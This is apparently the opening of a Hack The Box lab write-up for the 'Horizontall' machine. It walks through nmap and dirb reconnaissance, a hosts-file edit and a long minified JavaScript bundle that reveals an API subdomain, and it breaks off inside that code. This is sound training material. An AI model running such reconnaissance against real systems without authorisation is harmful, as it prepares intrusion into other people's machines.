Writeup for the easy ranked HTB box Horizontall

Posted on Feb 5, 2022

Horizontall

This writeup describes how I approached the box Horizontall from Hack The Box (https://www.hackthebox.eu). The box is based on Linux and it is rated easy. This box includes vulnerabilities that is known and documented (CVE-2019-18818, CVE-2019-19609 , CVE-2021-3129) Tools and techniques used in this hack are Nmap, Dirb, Ffuf, Firefox, Burpsuite, Curl, Python, JSon and JWT.

My style of writeups is to describe how I was thinking when attacking them. My personal opinion is that I learn from analysing my process over and over again, and you learn more from understanding the process than just following a guide. So if you just want a step by step guide perhaps it’s best to look elsewhere. :)

My environment for this hack is a PC with Windows 10 and Docker. I use Docker to great extent and try to keep most stuff inside containers. But to avoid too mnuch confusing portmapping I often start my web servers and net cat listeners on th host machine in PowerShell. That’s just the way i approach things, keep an eye on that promt to know where I am! ;)

Now let’s get going!

Gaining foothold

Port scanning the target with NMAP

Let’s start by checking what ports are open on our target.

┌──(root💀bd5737a0ce49)-[/]
└─# nmap -sC -sV 10.129.195.67
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-29 11:36 UTC
Nmap scan report for 10.129.195.67
Host is up (0.0087s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.27 seconds

Ok there seems to be standard stuff like http and ssh open. Our best bet for finding a vulnerability is inside a web-app so lets use dirb to enumerate the http server.

Using DIRB to scan web site

┌──(root💀bd5737a0ce49)-[/]
└─# dirb http://10.129.195.67

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Sun Aug 29 11:38:17 2021
URL_BASE: http://10.129.195.67/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.129.195.67/ ----

-----------------
END_TIME: Sun Aug 29 11:41:51 2021
DOWNLOADED: 4612 - FOUND: 0

Well that was disapointing. We did not find anything. Perhaps we should just load the first page in a web browser and check outr things from there.

Enumerate the web site in a browser

I fire upp Burpsuite and Firefox and the result is an error.

Redirect

We are redirected to horizontall.htb. We need to put horizontall.htb in my hosts file. Let’s add a line like this:

10.129.195.67 horizontall.htb

Now let’s try once more.

Horizontall

That’s better. At this time I enable the developer tools in my Browser and manually check out all links and included files. I did not find any place where we could interact with the server side further. So I started to look through the source code for the javascripts. At this time I used Chrome because I think it pretty prints javascript much better. And inside the file app.c68eb462.js I found some interesting stuff.

(function(t) {
    function s(s) {
        for (var i, n, r = s[0], o = s[1], c = s[2], m = 0, u = []; m < r.length; m++)
            n = r[m],
            Object.prototype.hasOwnProperty.call(a, n) && a[n] && u.push(a[n][0]),
            a[n] = 0;
        for (i in o)
            Object.prototype.hasOwnProperty.call(o, i) && (t[i] = o[i]);
        d && d(s);
        while (u.length)
            u.shift()();
        return l.push.apply(l, c || []),
        e()
    }
    function e() {
        for (var t, s = 0; s < l.length; s++) {
            for (var e = l[s], i = !0, r = 1; r < e.length; r++) {
                var o = e[r];
                0 !== a[o] && (i = !1)
            }
            i && (l.splice(s--, 1),
            t = n(n.s = e[0]))
        }
        return t
    }
    var i = {}
      , a = {
        app: 0
    }
      , l = [];
    function n(s) {
        if (i[s])
            return i[s].exports;
        var e = i[s] = {
            i: s,
            l: !1,
            exports: {}
        };
        return t[s].call(e.exports, e, e.exports, n),
        e.l = !0,
        e.exports
    }
    n.m = t,
    n.c = i,
    n.d = function(t, s, e) {
        n.o(t, s) || Object.defineProperty(t, s, {
            enumerable: !0,
            get: e
        })
    }
    ,
    n.r = function(t) {
        "undefined" !== typeof Symbol && Symbol.toStringTag && Object.defineProperty(t, Symbol.toStringTag, {
            value: "Module"
        }),
        Object.defineProperty(t, "__esModule", {
            value: !0
        })
    }
    ,
    n.t = function(t, s) {
        if (1 & s && (t = n(t)),
        8 & s)
            return t;
        if (4 & s && "object" === typeof t && t && t.__esModule)
            return t;
        var e = Object.create(null);
        if (n.r(e),
        Object.defineProperty(e, "default", {
            enumerable: !0,
            value: t
        }),
        2 & s && "string" != typeof t)
            for (var i in t)
                n.d(e, i, function(s) {
                    return t[s]
                }
                .bind(null, i));
        return e
    }
    ,
    n.n = function(t) {
        var s = t && t.__esModule ? function() {
            return t["default"]
        }
        : function() {
            return t
        }
        ;
        return n.d(s, "a", s),
        s
    }
    ,
    n.o = function(t, s) {
        return Object.prototype.hasOwnProperty.call(t, s)
    }
    ,
    n.p = "/";
    var r = window["webpackJsonp"] = window["webpackJsonp"] || []
      , o = r.push.bind(r);
    r.push = s,
    r = r.slice();
    for (var c = 0; c < r.length; c++)
        s(r[c]);
    var d = o;
    l.push([0, "chunk-vendors"]),
    e()
}
)({
    0: function(t, s, e) {
        t.exports = e("56d7")
    },
    "034f": function(t, s, e) {
        "use strict";
        e("85ec")
    },
    "1db9": function(t, s, e) {
        t.exports = e.p + "img/c1.2d2dcf21.jpg"
    },
    "215d": function(t, s) {
        t.exports = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAMIAAAAyCAYAAAAOcwQoAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMDY3IDc5LjE1Nzc0NywgMjAxNS8wMy8zMC0yMzo0MDo0MiAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIDIwMTUgKFdpbmRvd3MpIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjJDNTQ4NTM3REI5MDExRTlCNDhGQTIwRjNGQTc1N0EzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjJDNTQ4NTM4REI5MDExRTlCNDhGQTIwRjNGQTc1N0EzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MkM1NDg1MzVEQjkwMTFFOUI0OEZBMjBGM0ZBNzU3QTMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MkM1NDg1MzZEQjkwMTFFOUI0OEZBMjBGM0ZBNzU3QTMiLz4gPC9yZGY6RGVzY3JpcHRpb24+IDwvcmRmOlJERj4gPC94OnhtcG1ldGE+IDw/eHBhY2tldCBlbmQ9InIiPz4FAS0XAAAJWElEQVR42uxd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"
    },
    2413: function(t, s, e) {
        t.exports = e.p + "img/coding_.e8413cbf.svg"
    },
    4541: function(t, s, e) {
        t.exports = e.p + "img/handshake.34250d54.svg"
    },
    4851: function(t, s, e) {
        t.exports = e.p + "img/c2.0a3b2b89.jpg"
    },
    "56d7": function(t, s, e) {
        "use strict";
        e.r(s);
        e("e260"),
        e("e6cf"),
        e("cca6"),
        e("a79d");
        var i = e("2b0e")
          , a = function() {
            var t = this
              , s = t.$createElement
              , e = t._self._c || s;
            return e("div", {
                attrs: {
                    id: "app"
                }
            }, [e("navbar"), e("home"), t._m(0)], 1)
        }
          , l = [function() {
            var t = this
              , s = t.$createElement
              , e = t._self._c || s;
            return e("footer", {
                staticClass: "gradient"
            }, [e("div", {
                staticClass: "container-fluid text-center"
            }, [e("span", [t._v("Made by "), e("a", {
                attrs: {
                    href: "https://horizontall.htb"
                }
            }, [t._v("Horizontall.htb")])])])])
        }
        ]
          , n = e("bc3a")
          , r = e.n(n)
          , o = function() {
            var t = this
              , s = t.$createElement
              , i = t._self._c || s;
            return i("div", [i("b-navbar", {
                attrs: {
                    toggleable: "lg",
                    type: "light",
                    variant: "light"
                }
            }, [i("b-container", [i("b-navbar-brand", {
                attrs: {
                    href: "#"
                }
            }, [i("a", {
                attrs: {
                    href: "/"
                }
            }, [i("img", {
                attrs: {
                    src: e("cc09"),
                    alt: ""
                }
            })])]), i("b-navbar-toggle", {
                attrs: {
                    target: "nav-collapse"
                }
            }), i("b-collapse", {
                attrs: {
                    id: "nav-collapse",
                    "is-nav": ""
                }
            }, [i("b-navbar-nav", {
                staticClass: "ml-auto"
            }, [i("b-nav-item", {
                attrs: {
                    href: "#"
                }
            }, [t._v("Home")]), i("b-nav-item", {
                attrs: {
                    href: "#"
                }
            }, [t._v("Feature")]), i("b-nav-item", {
                attrs: {
                    href: "#"
                }
            }, [t._v("About")])], 1)], 1)], 1)], 1)], 1)
        }
          , c = []
          , d = {}
          , m = d
          , u = e("2877")
          , p = Object(u["a"])(m, o, c, !1, null, null, null)
          , v = p.exports
          , g = function() {
            var t = this
              , s = t.$createElement
              , e = t._self._c || s;
            return e("div", [e("header", {
                staticClass: "page-header gradient"
            }, [t._m(0), e("svg", {
                attrs: {
                    xmlns: "http://www.w3.org/2000/svg",
                    viewBox: "0 0 1440 250"
                }
            }, [e("path", {
                attrs: {
                    fill: "#fff",
                    "fill-opacity": "1",
                    d: "M0,128L48,117.3C96,107,192,85,288,80C384,75,480,85,576,112C672,139,768,181,864,181.3C960,181,1056,139,1152,122.7C1248,107,1344,117,1392,122.7L1440,128L1440,320L1392,320C1344,320,1248,320,1152,320C1056,320,960,320,864,320C768,320,672,320,576,320C480,320,384,320,288,320C192,320,96,320,48,320L0,320Z"
                }
            })])]), t._m(1), e("section", {
                staticClass: "feature gradient"
            }, [e("svg", {
                attrs: {
                    xmlns: "http://www.w3.org/2000/svg",
                    viewBox: "0 0 1440 320"
                }
            }, [e("path", {
                attrs: {
                    fill: "#fff",
                    "fill-opacity": "1",
                    d: "M0,224L48,213.3C96,203,192,181,288,154.7C384,128,480,96,576,117.3C672,139,768,213,864,208C960,203,1056,117,1152,101.3C1248,85,1344,139,1392,165.3L1440,192L1440,0L1392,0C1344,0,1248,0,1152,0C1056,0,960,0,864,0C768,0,672,0,576,0C480,0,384,0,288,0C192,0,96,0,48,0L0,0Z"
                }
            })]), t._m(2), e("svg", {
                attrs: {
                    xmlns: "http://www.w3.org/2000/svg",
                    viewBox: "0 0 1440 320"
                }
            }, [e("path", {
                attrs: {
                    fill: "#fff",
                    "fill-opacity": "1",
                    d: "M0,224L48,213.3C96,203,192,181,288,154.7C384,128,480,96,576,117.3C672,139,768,213,864,208C960,203,1056,117,1152,101.3C1248,85,1344,139,1392,165.3L1440,192L1440,320L1392,320C1344,320,1248,320,1152,320C1056,320,960,320,864,320C768,320,672,320,576,320C480,320,384,320,288,320C192,320,96,320,48,320L0,320Z"
                }
            })])]), e("section", {
                staticClass: "icons"
            }, [e("div", {
                staticClass: "container"
            }, [e("div", {
                staticClass: "row text-center"
            }, [e("div", {
                staticClass: "col-md-4"
            }, [e("div", {
                staticClass: "icon gradient mb-4"
            }, [e("svg", {
                staticClass: "feather feather-layers",
                attrs: {
                    xmlns: "http://www.w3.org/2000/svg",
                    width: "24",
                    height: "24",
                    viewBox: "0 0 24 24",
                    fill: "none",
                    stroke: "currentColor",
                    "stroke-width": "2",
                    "stroke-linecap": "round",
                    "stroke-linejoin": "round"
                }
            }, [e("polygon", {
                attrs: {
                    points: "12 2 2 7 12 12 22 7 12 2"
                }
            }), e("polyline", {
                attrs: {
                    points: "2 17 12 22 22 17"
                }
            }), e("polyline", {
                attrs: {
                    points: "2 12 12 17 22 12"
                }
            })])]), e("h3", [t._v("Built for developers")]), e("p", [t._v(" Our customizable, block-based build system makes creating your next project fast and easy! ")])]), e("div", {
                staticClass: "col-md-4"
            }, [e("div", {
                staticClass: "icon gradient mb-4"
            }, [e("svg", {
                staticClass: "feather feather-smartphone",
                attrs: {
                    xmlns: "http://www.w3.org/2000/svg",
                    width: "24",
                    height: "24",
                    viewBox: "0 0 24 24",
                    fill: "none",
                    stroke: "currentColor",
                    "stroke-width": "2",
                    "stroke-linecap": "round",
                    "stroke-linejoin": "round"
                }
            }, [e("rect", {
                attrs: {
                    x: "5",
                    y: "2",
                    width: "14",
                    height: "20",
                    rx: "2",
                    ry: "2"
                }
            }), e("line", {
                attrs: {
                    x1: "12",
                    y1: "18",
                    x2: "12.01",
                    y2: "18"
                }
            })])]), e("h3", [t._v("Modern responsive design")]), e("p", {
                staticClass: "mb-0"
            }, [t._v(" Featuring carefully crafted, mobile-first components, your end product will function beautifully on any device! ")])]), e("div", {
                staticClass: "col-md-4"
            }, [e("div", {
                staticClass: "icon gradient mb-4"
            }, [e("svg", {
                staticClass: "feather feather-code",
                attrs: {
                    xmlns: "http://www.w3.org/2000/svg",
                    width: "24",
                    height: "24",
                    viewBox: "0 0 24 24",
                    fill: "none",
                    stroke: "currentColor",
                    "stroke-width": "2",
                    "stroke-linecap": "round",
                    "stroke-linejoin": "round"
                }
            }, [e("polyline", {
                attrs: {
                    points: "16 18 22 12 16 6"
                }
            }), e("polyline", {
                attrs: {
                    points: "8 6 2 12 8 18"
                }
            })])]), e("h3", [t._v("Complete documentation")]), e("p", {
                staticClass: "mb-0"
            }, [t._v(" All of the layouts, page sections, components, and utilities are fully covered in this products docs. ")])])])])]), e("section", {
                staticClass: "gallery"
            }, [e("svg", {
                attrs: {
                    xmlns: "http://www.w3.org/2000/svg",
                    viewBox: "0 0 1440 160"
                }
            }, [e("path", {
                attrs: {
                    fill: "#fff",
                    "fill-opacity": "1",
                    d: "M0,128L120,128C240,128,480,128,720,122.7C960,117,1200,107,1320,101.3L1440,96L1440,0L1320,0C1200,0,960,0,720,0C480,0,240,0,120,0L0,0Z"
                }
            })]), t._m(3), e("svg", {
                attrs: {
                    xmlns: "http://www.w3.org/2000/svg",
                    viewBox: "0 0 1440 320"
                }
            }, [e("path", {
                attrs: {
                    fill: "#fff",
                    "fill-opacity": "1",
                    d: "M0,128L120,128C240,128,480,128,720,122.7C960,117,1200,107,1320,101.3L1440,96L1440,320L1320,320C1200,320,960,320,720,320C480,320,240,320,120,320L0,320Z"
                }
            })])]), e("section", {
                staticClass: "services gradient"
            }, [e("svg", {
                attrs: {
                    xmlns: "http://www.w3.org/2000/svg",
                    viewBox: "0 0 1440 220"
                }
            }, [e("path", {
                attrs: {
                    fill: "#fff",
                    "fill-opacity": "1",
                    d: "M0,96L34.3,106.7C68.6,117,137,139,206,122.7C274.3,107,343,53,411,53.3C480,53,549,107,617,117.3C685.7,128,754,96,823,96C891.4,96,960,128,1029,154.7C1097.1,181,1166,203,1234,202.7C1302.9,203,1371,181,1406,170.7L1440,160L1440,0L1405.7,0C1371.4,0,1303,0,1234,0C1165.7,0,1097,0,1029,0C960,0,891,0,823,0C754.3,0,686,0,617,0C548.6,0,480,0,411,0C342.9,0,274,0,206,0C137.1,0,69,0,34,0L0,0Z"
                }
            })]), t._m(4), e("svg", {
                attrs: {
                    xmlns: "http://www.w3.org/2000/svg",
                    viewBox: "0 0 1440 210"
                }
            }, [e("path", {
                attrs: {
                    fill: "#fff",
                    "fill-opacity": "1",
                    d: "M0,96L34.3,106.7C68.6,117,137,139,206,122.7C274.3,107,343,53,411,53.3C480,53,549,107,617,117.3C685.7,128,754,96,823,96C891.4,96,960,128,1029,154.7C1097.1,181,1166,203,1234,202.7C1302.9,203,1371,181,1406,170.7L1440,160L1440,320L1405.7,320C1371.4,320,1303,320,1234,320C1165.7,320,1097,320,1029,320C960,320,891,320,823,320C754.3,320,686,320,617,320C548.6,320,480,320,411,320C342.9,320,274,320,206,320C137.1,320,69,320,34,320L0,320Z"
                }
            })])]), t._m(5)])
        }
          , f = [function() {
            var t = this
              , s = t.$createElement
              , i = t._self._c || s;
            return i("div", {
                staticClass: "container"
            }, [i("div", {
                staticClass: "row align-items-center justify-content-center"
            }, [i("div", {
                staticClass: "col-md-5"
            }, [i("h2", [t._v("Build website using HT")]), i("p", [t._v(" It's crafted with the latest trend of design & coded with all modern approaches. It's a robust & multi-dimensional usable template. ")]), i("button", {
                staticClass: "btn btn-outline-success btn-lg",
                attrs: {
                    type: "button"
                }
            }, [t._v(" Read more ")]), i("button", {
                staticClass: "btn btn-outline-warning btn-lg",
                attrs: {
                    type: "button"
                }
            }, [t._v(" Play video ")])]), i("div", {
                staticClass: "col-md-5"
            }, [i("img", {
                attrs: {
                    src: e("e891"),
                    alt: "Header image"
                }
            })])])])
        }
        , function() {
            var t = this
              , s = t.$createElement
              , i = t._self._c || s;
            return i("section", {
                staticClass: "companies"
            }, )
        }
        , function() {
            var t = this
              , s = t.$createElement
              , i = t._self._c || s;
            return i("div", {
                staticClass: "container"
            }, [i("div", {
                staticClass: "row align-items-center"
            }, [i("div", {
                staticClass: "col-md-6"
            }, [i("img", {
                attrs: {
                    src: e("fd7d"),
                    alt: ""
                }
            })]), i("div", {
                staticClass: "col-md-6"
            }, [i("h1", {
                staticClass: "my-3"
            }, [t._v("Introducing HT")]), i("p", {
                staticClass: "my-4"
            }, [t._v(" It's crafted with the latest trend of design & coded with all modern approaches. It's a robust & multi-dimensional usable template. ")]), i("ul", [i("li", [t._v("Best for Creative Agency")]), i("li", [t._v("Built with Latest Technology")]), i("li", [t._v("Super Responsive")]), i("li", [t._v("Creative Design")])])])])])
        }
        , function() {
            var t = this
              , s = t.$createElement
              , i = t._self._c || s;
            return i("div", {
                staticClass: "container"
            }, [i("div", {
                staticClass: "row"
            }, [i("div", {
                staticClass: "col-md-10"
            }, [i("h1", [t._v("Check our latest awesome creative work")]), i("p", [t._v(" It's crafted with the latest trend of design & coded with all modern approaches. It's a robust & multi-dimensional usable template ")])])]), i("div", {
                staticClass: "row my-3 g-3"
            }, [i("div", {
                staticClass: "col-md-4"
            }, [i("img", {
                staticClass: "img-fluid",
                attrs: {
                    src: e("1db9"),
                    alt: "Gallery image"
                }
            })]), i("div", {
                staticClass: "col-md-4"
            }, [i("img", {
                staticClass: "img-fluid",
                attrs: {
                    src: e("4851"),
                    alt: "Gallery image"
                }
            })]), i("div", {
                staticClass: "col-md-4"
            }, [i("img", {
                staticClass: "img-fluid",
                attrs: {
                    src: e("f3ea"),
                    alt: "Gallery image"
                }
            })])]), i("div", {
                staticClass: "row mt-5 justify-content-end"
            }, [i("div", {
                staticClass: "col-md-2"
            }, [i("button", {
                staticClass: "btn btn-outline-secondary",
                attrs: {
                    type: "button"
                }
            }, [t._v(" See all works ")])])])])
        }
        , function() {
            var t = this
              , s = t.$createElement
              , i = t._self._c || s;
            return i("div", {
                staticClass: "container"
            }, [i("div", {
                staticClass: "row align-items-center justify-content-center"
            }, [i("div", {
                staticClass: "col-md-5"
            }, [i("button", {
                staticClass: "btn btn-outline-warning mb-3",
                attrs: {
                    type: "button"
                }
            }, [t._v(" Coding ")]), i("h1", [t._v("We code.")]), i("p", [t._v(" Lorem ipsum dolor sit amet, consectetur adipisicing elit. Delectus, tempore placeat corrupti enim, cumque ex? Mollitia nihil sint cumque omnis iure nisi. ")])]), i("div", {
                staticClass: "col-md-5"
            }, [i("img", {
                attrs: {
                    src: e("2413"),
                    alt: ""
                }
            })]), i("div", {
                staticClass: "col-md-5"
            }, [i("img", {
                attrs: {
                    src: e("99c0"),
                    alt: ""
                }
            })]), i("div", {
                staticClass: "col-md-5"
            }, [i("button", {
                staticClass: "btn btn-outline-success mb-3",
                attrs: {
                    type: "button "
                }
            }, [t._v(" Marketing ")]), i("h1", [t._v("We promote.")]), i("p", [t._v(" Lorem ipsum dolor sit amet, consectetur adipisicing elit. Delectus, tempore placeat corrupti enim, cumque ex? Mollitia nihil sint cumque omnis iure nisi. ")])]), i("div", {
                staticClass: "col-md-5"
            }, [i("button", {
                staticClass: "btn btn-outline-light mb-3",
                attrs: {
                    type: "button"
                }
            }, [t._v(" Selling ")]), i("h1", [t._v("We sell.")]), i("p", [t._v(" Lorem ipsum dolor sit amet, consectetur adipisicing elit. Delectus, tempore placeat corrupti enim, cumque ex? Mollitia nihil sint cumque omnis iure nisi. ")])]), i("div", {
                staticClass: "col-md-5"
            }, [i("img", {
                attrs: {
                    src: e("6ba1"),
                    alt: ""
                }
            })])])])
        }
        , function() {
            var t = this
              , s = t.$createElement
              , i = t._self._c || s;
            return i("section", {
                staticClass: "contact"
            }, [i("div", {
                staticClass: "container"
            }, [i("div", {
                staticClass: "row"
            }, [i("div", {
                staticClass: "col-md-5"
            }, [i("h1", [t._v("Contact us:")]), i("div", {
                staticClass: "mb-3"
            }, [i("label", {
                staticClass: "form-label",
                attrs: {
                    for: "exampleFormControlInput1"
                }
            }, [t._v("Email address")]), i("input", {
                staticClass: "form-control",
                attrs: {
                    type: "email",
                    id: "exampleFormControlInput1",
                    placeholder: "[email protected]"
                }
            })]), i("div", {
                staticClass: "mb-3"
            }, [i("label", {
                staticClass: "form-label",
                attrs: {
                    for: "exampleFormControlTextarea1"
                }
            }, [t._v("Example textarea")]), i("textarea", {
                staticClass: "form-control",
                attrs: {
                    id: "exampleFormControlTextarea1",
                    rows: "3"
                }
            })]), i("button", {
                staticClass: "btn btn-outline-secondary",
                attrs: {
                    type: "button"
                }
            }, [t._v(" Send ")])]), i("div", {
                staticClass: "col-md-5"
            }, [i("img", {
                attrs: {
                    src: e("4541"),
                    alt: "Contact image"
                }
            })])])])])
        }
        ]
          , C = {}
          , h = C
          , b = (e("8b71"),
        Object(u["a"])(h, g, f, !1, null, null, null))
          , w = b.exports
          , y = {
            name: "App",
            components: {
                Navbar: v,
                Home: w
            },
            data: function() {
                return {
                    reviews: []
                }
            },
            methods: {
                getReviews: function() {
                    var t = this;
                    r.a.get("http://api-prod.horizontall.htb/reviews").then((function(s) {
                        return t.reviews = s.data
                    }
                    ))
                }
            }
        }
          , x = y
          , A = (e("034f"),
        Object(u["a"])(x, a, l, !1, null, null, null))
          , E = A.exports
          , M = e("8c4f")
          , L = e("5f5b")
          , I = e("b1e0");
        e("f9e3"),
        e("2dd8");
        i["default"].use(L["a"]),
        i["default"].use(I["a"]),
        i["default"].use(M["a"]),
        i["default"].config.productionTip = !1,
        new i["default"]({
            render: function(t) {
                return t(E)
            }
        }).$mount("#app")
    },
    "6ba1": function(t, s, e) {
        t.exports = e.p + "img/revenue_.71587b74.svg"
    },
    "85ec": function(t, s, e) {},
    "88d7": function(t, s, e) {},
    "8a45": function(t, s, e) {
        t.exports = e.p + "img/5.5b9914d5.png"
    },
    "8b71": function(t, s, e) {
        "use strict";
        e("88d7")
    },
    9689: function(t, s, e) {
